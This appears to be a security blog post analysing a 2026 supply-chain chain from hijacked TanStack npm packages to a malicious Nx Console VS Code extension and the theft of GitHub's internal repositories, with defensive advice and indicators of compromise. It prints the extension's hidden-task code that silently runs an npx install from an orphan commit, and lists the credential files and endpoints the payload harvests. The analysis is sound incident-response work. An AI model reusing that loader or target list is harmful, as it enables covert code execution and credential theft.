GitHub Got Owned By a VS Code Extension. Yes, That GitHub.
An eleven-minute window in the Visual Studio Marketplace pulled the thread on 3,800 internal GitHub repositories, Grafana's source code, and your trust in signed npm provenance.
On May 20, 2026, GitHub's CISO Alexis Wales published a short blog post titled "Investigating unauthorized access to GitHub's internal repositories." On May 26, GitHub updated that same post to tell every GitHub Enterprise Server customer on the planet to rotate the GHES signing key.
That's not a small ask. That's "we are worried enough about what was in those repos that we are touching the cryptographic root of trust for our on-prem product."
The attacker? A guy who got a GitHub employee to install a malicious version of the Nx Console VS Code extension. The extension was live on the Visual Studio Marketplace for eleven minutes. That was enough.
Let me walk you through how a TanStack npm package compromise turned into a GHES signing-key rotation, because every link in this chain is something you ship through in your day job.
The Four Hops, In Order
Hop 1: TanStack npm packages get hijacked (week of May 11, 2026)
The Shai-Hulud campaign — attributed to a crew called TeamPCP — has been chewing through the npm and PyPI ecosystems since September 2025. The May 2026 wave hit TanStack and Mistral AI namespaces hard. According to TanStack's own postmortem, the attackers chained three problems:
- A
pull_request_targetworkflow that ran untrusted PR code with privileges. - GitHub Actions cache poisoning.
- OIDC token theft from runner memory.
The damage: 84 malicious versions across 42 TanStack packages, all published with valid SLSA provenance attestations signed by npm's actual infrastructure. From npm audit signatures' perspective, they looked legitimate. Because cryptographically, they were.
This is the part nobody is talking about loudly enough. Provenance attestation was supposed to be the answer to supply chain attacks. It is not the answer when the attacker steals the OIDC token from your CI runner.
Hop 2: A Nx contributor's GitHub token gets scraped
One of the developers who maintains the Nx ecosystem installed one of those compromised TanStack packages somewhere — most likely in a project running locally, possibly via npm install in a feature branch. The malicious payload did what these payloads always do: it scraped credentials. Specifically, it grabbed the contributor's GitHub token via the GitHub CLI's stored auth (gh auth token).
That token had push access to nrwl/nx and, downstream of that, access to the VS Code Marketplace publishing credential (VSCE_PAT). Nx has since admitted in their advisory: a single maintainer was able to publish a new Nx Console version without a second approver. They've now fixed that. After the fact, as is tradition.
Hop 3: The orphan commit + the 18-minute extension window
This is the part that's genuinely clever, and the part that should make you nervous about how Git stores objects.
At 03:18 UTC on May 18, the attacker used the stolen token to push an orphan commit to nrwl/nx — SHA 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. Orphan commits have zero parents. They're not on any branch. git log won't show them. The GitHub API literally responds "No common ancestor between master and 558b09d7." But if you know the SHA, you can git fetch it. And npx can install from it:
npx -y github:nrwl/nx#558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2That orphan commit replaced the entire Nx monorepo tree with two files:
{
"name": "nx-next",
"version": "1.0.0",
"bin": { "nx-next": "./index.js" },
"dependencies": { "bun": "^1.3.14" }
}A 498 KB index.js payload. Bun as a runtime dependency, because the payload uses Bun-specific APIs. That's it. The malicious code is hiding inside the legitimate Nx repository, invisible to anyone browsing it on github.com.
At 12:36 UTC the same day, the attacker published Nx Console v18.95.0 to the VS Code Marketplace. The published extension was the legitimate Nx Console build with 2,777 bytes of malicious code injected into main.js. On extension activation, that code ran:
// What actually runs the moment you open a workspace
const G5t = "558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2";
const task = new vscode.Task(
{ type: "nx" },
vscode.TaskScope.Workspace,
"install-mcp-extension", // disguised name
"nx",
new vscode.ShellExecution(
`npx -y github:nrwl/nx#${G5t}`,
{ cwd, env: { ...process.env, NX_CONSOLE: "true" } }
)
);
task.presentationOptions.focus = false; // don't steal focusnpx -y auto-confirms. focus = false hides the terminal. The user sees nothing.
The Nx team caught it and pulled the extension at 12:47 UTC. Eleven minutes on the Visual Studio Marketplace. Another 36 minutes on OpenVSX before they yanked it there too.
Microsoft's published download number for the malicious version: 28. Nx's own activation analytics: ~6,000. That gap is its own scandal — the marketplace can't accurately tell you how many people got the bad version of an extension while it was live. One of those 6,000 was a GitHub employee.
Hop 4: From a laptop in San Francisco to the GHES signing key
The 498 KB payload does what the StepSecurity teardown calls "everything." Six parallel credential harvesters in JavaScript:
- Vault — reads
~/.vault-token, tries K8s and AWS IAM auth flows - npm —
.npmrctokens, OIDC exchange via/-/npm/v1/oidc/token/exchange/package/ - AWS — IMDS at
169.254.169.254, ECS metadata at169.254.170.2, Secrets Manager, SSM, Web Identity tokens - GitHub — regex for
ghp_,gho_,ghs_; reads/actions/secrets; scrapes/proc/*/memfor tokens leaked through runner process memory - Filesystem — private keys, GCP service accounts, Docker registry creds,
~/.claude/settings.json(yes, it specifically targets Claude Code configs) - 1Password — talks to the
opCLI if a session is active
Exfiltrates over three independent channels: HTTPS to a hardcoded C2, the GitHub API itself (creating commits or artifacts on victim repos), and DNS tunneling. Drops a Python backdoor at ~/.local/share/kitty/cat.py with a macOS LaunchAgent for persistence. The backdoor polls the GitHub Search API for new commits matching a keyword and executes signed instructions (RSA-PSS-4096) from the most recent one. That's right — GitHub itself is the C2.
The compromised GitHub employee's laptop had access to GitHub's internal repos. The attacker grabbed approximately 3,800 of them. The TeamPCP crew listed the dump on the Breached forum for $50,000. Their words: "as always this is not a ransom, we do not care about extorting Github, 1 buyer and we shred the data on our end."
GitHub's response, in their own words from the May 20 post:
"Our current assessment is that the activity involved exfiltration of GitHub-internal repositories only. The attacker's current claims of ~3,800 repositories are directionally consistent with our investigation so far... We rotated critical secrets Monday and into Tuesday with the highest-impact credentials prioritized first."
Then on May 26, the update: rotate the GitHub Enterprise Server signing key. Every GHES admin in the world had to run a script. They don't rotate that key for fun. They rotated it because something in those internal repos meant they couldn't trust it anymore.
The Blast Radius Wasn't Just GitHub
Same campaign, same week:
Grafana Labs disclosed on May 18 that the same TanStack package compromise hit their CI/CD pipeline. The malicious package executed inside their GitHub Actions environment, exfiltrated workflow tokens. Grafana started rotating tokens on May 1 when they first saw signs. Two and a half weeks later, they realized one workflow token had been missed in rotation. The attackers used it to clone their source code. Quote from Grafana: "We performed analysis and quickly rotated a significant number of GitHub workflow tokens, but a missed token led to the attackers gaining access to our GitHub repositories."
OpenAI confirmed two employees got hit by the same TanStack campaign.
Other reported casualties from the broader Shai-Hulud wave: UiPath, Guardrails AI, OpenSearch, Bitwarden CLI, official SAP npm packages. Endor Labs counted over 160 compromised npm packages. Socket tracked 416 compromised package artifacts across npm and PyPI.
Grafana's CI/CD. GitHub's internal repos. OpenAI's employee laptops. Same attacker. Same week. One root cause: a pull_request_target workflow in a popular OSS project leaking OIDC tokens.
Three Things This Story Tells You That You Should Be Uncomfortable About
1. The IDE extension is the new package supply chain — and nobody is treating it that way.
You probably review npm packages. You probably have npm audit in CI. You may even have a private registry. Do you have any policy for what VS Code extensions your developers are allowed to install?
The Nx Console extension has 2.2 million installs. The compromised version was live for eleven minutes and got 6,000 activations because VS Code auto-updates extensions silently in the background. There is no package-lock.json for your IDE. There is no vscode audit. The marketplace's "verified publisher" badge means roughly nothing.
This is exactly the dependency surface that supply chain attackers have been moving toward for two years. We were busy locking down npm. Meanwhile every developer at every company has a VS Code instance auto-pulling code from a marketplace where Microsoft doesn't even know how many people downloaded the bad version.
2. SLSA provenance is not the answer when the runner is the target.
Read this carefully because the security marketing has been louder than the math.
The TanStack packages were published with valid SLSA Build Level 3 provenance. Sigstore signatures. Fulcio certificates. The whole chain. They were cryptographically verifiable as having been built by the legitimate TanStack release workflow, on a legitimate GitHub Actions runner, using the legitimate npm OIDC trusted-publishing flow.
Because they were. The attacker compromised the workflow itself and used the legitimate signing infrastructure to sign their malware. The Nx payload literally has Sigstore/Fulcio/Rekor endpoints embedded in it — it's designed to do the same thing if it ever gets an npm OIDC token to play with.
Provenance attestation tells you "this artifact was built by that pipeline." It does not tell you "the code inside is what the maintainer intended." When the pipeline is compromised, provenance becomes a hallmark of authenticity for the attacker's payload. This is the exact criticism Russ Cox and others have been making for years and the security industry kept selling SLSA like it was the seatbelt.
You still need it. It is necessary. It is not sufficient. The mental model "if it has provenance, it's safe" is now actively dangerous.
3. Long-lived tokens with overly broad scopes will eat you. Again.
The Nx contributor had a GitHub PAT with push to nrwl/nx. That same token, directly or transitively, could publish to the VS Code Marketplace. One credential, two trust boundaries. When it was scraped, the blast radius wasn't "a contributor's account." It was "the entire Nx Console user base."
The Grafana breach got worse because of a missed token rotation. The GitHub employee breach got worse because credentials harvested from one laptop unlocked internal repos. Everywhere you look in this story there's a long-lived token with more access than it should have, and nobody noticed until the attacker did.
What You Should Do Monday Morning
Most of these you should be doing already. After the week we just had, the should graduates to must.
Triage first (before you touch anything else):
- Search your fleet for
Nx Console v18.95.0. If it ran, that laptop is owned. Not "potentially affected" — owned. From the official advisory, check for:
On Windows:~/.local/share/kitty/cat.py ~/Library/LaunchAgents/com.user.kitty-monitor.plist /var/tmp/.gh_update_state /tmp/kitty-*%USERPROFILE%\.local\share\kitty\cat.py,%TEMP%\kitty-*,%USERPROFILE%\.bun\bin\bun.exe. Kill anypython cat.pyor process with__DAEMONIZED=1in its environment. Then nuke the machine, rotate every credential it had access to, and audit access logs across GitHub, npm, AWS, Vault, K8s, and 1Password. - Check
npm audit signatureson your monorepos for the TanStack/Mistral package list. Snyk and Aikido both have current lists. If you consumed a malicious version, every credential reachable from that CI run is compromised. Rotate workflow tokens and verify the rotation by checkinggh api /userfrom a clean environment with each token to confirm none were missed. This is the trap Grafana fell into.
Then the policy work:
- Inventory VS Code extensions across your org. Microsoft's MDM hooks let you push an allowlist. Pin extension versions in
.vscode/extensions.jsonfor shared repos. Stop trusting "auto-update on by default." Cursor, Codium, every fork — same treatment. - Audit your GitHub Actions for
pull_request_targetworkflows. Any workflow with that trigger that runs PR code with elevated permissions is a TanStack waiting to happen. The fix is to checkout the merge commit explicitly and to never expose secrets to PR-triggered runs. GitHub has a whole security guide on this; ignore it at your own cost. - Move every GitHub PAT to a fine-grained token with an expiration. Yes, this is annoying. Yes, the API surface is more limited. Do it anyway. Classic PATs with
reposcope and no expiration are the AK-47 of supply chain attacks — they keep showing up at every crime scene. If you're usinggh auth login, audit what scopes you actually granted, because the default is generous. - Run a credential leak scan on developer machines. Tools like TruffleHog and GitLeaks aren't just for repos — point them at
~/.npmrc,~/.docker/config.json,~/.aws/credentials,~/.kube/config,~/.vault-token. If you find unexpected tokens, rotate first, investigate after. - Treat OIDC trusted publishing on npm as a privilege, not a default. It's a real upgrade over PAT-based publishing — until the workflow that authenticates is the thing that gets owned. Pair it with required reviewers on the workflow file itself and branch protection that blocks the maintainer from approving their own changes.
The Wider Point
The headlines are going to say "GitHub got hacked." That's not really the story. The story is that we have built a software ecosystem where:
- An OSS maintainer's stolen GitHub token can publish malware to an editor that runs on 2.2 million developer laptops.
- The marketplace those extensions ship through can't accurately count its own downloads.
- A signed, verified, attested npm package can be malware because we're authenticating the pipeline instead of the code.
- One laptop at a hyperscaler can leak enough material to force a signing-key rotation for an entire enterprise product.
This is not a "Microsoft will fix it next quarter" problem. This is the structural cost of having every link in the global software supply chain depend on every other link, with credentials laying around like loose change, and treating "this came from the official marketplace" as a security control.
You can do the Monday morning list. You should do the Monday morning list. But the honest answer is that as long as you're shipping software with help from open source, your security posture is partially a function of whether some maintainer in another time zone installed the wrong npm package this week.
That's the supply chain. It's everyone's. And it's leaky.
Sources: GitHub Blog (CISO Alexis Wales, May 20/26, 2026) · Nx Security Advisory GHSA-c9j4-9m59-847w · StepSecurity technical teardown · BleepingComputer (breach confirmation, TanStack linkage, Grafana postmortem, Shai-Hulud campaign) · TanStack postmortem · Endor Labs, Aikido, Socket, Wiz package counts.
Enjoyed this article?
Connect with me on LinkedIn for more insights on AI, automation, and full-stack development.
